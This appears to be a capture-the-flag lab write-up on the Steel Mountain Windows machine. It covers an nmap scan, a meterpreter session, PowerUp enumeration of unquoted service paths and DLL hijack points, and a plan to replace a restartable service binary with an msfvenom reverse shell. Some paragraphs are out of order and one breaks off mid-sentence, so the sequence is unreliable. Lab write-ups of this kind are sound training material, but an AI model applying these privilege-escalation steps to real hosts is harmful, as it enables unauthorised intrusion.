Public Exploit - Unquoted service path(CanRestart => True) PrivEsc
Initial Compromise
Starting off with the nmap scan
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: STEELMOUNTAIN
| NetBIOS_Domain_Name: STEELMOUNTAIN
| NetBIOS_Computer_Name: STEELMOUNTAIN
| DNS_Domain_Name: steelmountain
| DNS_Computer_Name: steelmountain
| Product_Version: 6.3.9600
|_ System_Time: 2020-06-05T15:20:38+00:00
| ssl-cert: Subject: commonName=steelmountain
| Not valid before: 2020-06-04T15:15:51
|_Not valid after: 2020-12-04T15:15:51
|_ssl-date: 2020-06-05T15:20:52+00:00; 0s from scanner time.
8080/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:17:95:c4:ed:a0 (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-06-05T15:20:38
|_ start_date: 2020-06-05T15:15:45
When we connect to http://10.10.97.217:8080, we can see a webpage which name is HFS
There is a link at the bottom of the page that redirects to http://www.rejetto.com/hfs/
We now have a meterpreter. Let’s get the flag
meterpreter > cd c:/users/bill/desktop
meterpreter > ls
Listing: c:\users\bill\desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2019-09-27 13:07:07 +0200 desktop.ini
100666/rw-rw-rw- 70 fil 2019-09-27 14:42:38 +0200 user.txt
Privilege Escalation
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
[*] Running Invoke-AllChecks
[*] Checking if user is in a local group with administrative privileges...
[*] Checking for unquoted service paths...
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
StartName : LocalSystem
CanRestart : True
AbuseFunction : Write-ServiceBinary -ServiceName 'AdvancedSystemCareService9' -Path <HijackPath>
ServiceName : AWSLiteAgent
Path : C:\Program Files\Amazon\XenTools\LiteAgent.exe
StartName : LocalSystem
CanRestart : False
AbuseFunction : Write-ServiceBinary -ServiceName 'AWSLiteAgent' -Path <HijackPath>
ServiceName : IObitUnSvr
Path : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
StartName : LocalSystem
CanRestart : False
AbuseFunction : Write-ServiceBinary -ServiceName 'IObitUnSvr' -Path <HijackPath>ServiceName : LiveUpdateSvc
Path : C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
StartName : LocalSystem
CanRestart : False
AbuseFunction : Write-ServiceBinary -ServiceName 'LiveUpdateSvc' -Path <HijackPath>
[*] Checking service executable and argument permissions...
[*] Checking service permissions...
[*] Checking %PATH% for potentially hijackable .dll locations...
HijackablePath : C:\Windows\system32\
AbuseFunction : Write-HijackDll -OutputFile 'C:\Windows\system32\\wlbsctrl.dll' -Command '...'
HijackablePath : C:\Windows\
AbuseFunction : Write-HijackDll -OutputFile 'C:\Windows\\wlbsctrl.dll' -Command '...'
HijackablePath : C:\Windows\System32\WindowsPowerShell\v1.0\
AbuseFunction : Write-HijackDll -OutputFile 'C:\Windows\System32\WindowsPowerShell\v1.0\\wlbsctrl.dll' -Command '...'
[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...
[*] Checking for vulnerable registry autoruns and configs...
[*] Checking for vulnerable schtask files/configs...
[*] Checking for unattended install files...
[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
We can notice that the CanRestart option that is set to true
Which basically just allows us to restart a service on the system, the directory to the application is also write-able.
This means we can replace the legitimate application with our malicious one ? - Restart the service, which will run our infected program which is our Reverse shell !
Inorder to create a Windows Reverse shell payload we'll use msfvenom
Looking at some publicly available exploits - version install is 2.3, We land to
To enumerate a windows machine, we will use a powershell script called PowerUp, that’s purpose is to evaluate a Windows machine and determine any abnormalities - "PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations" -
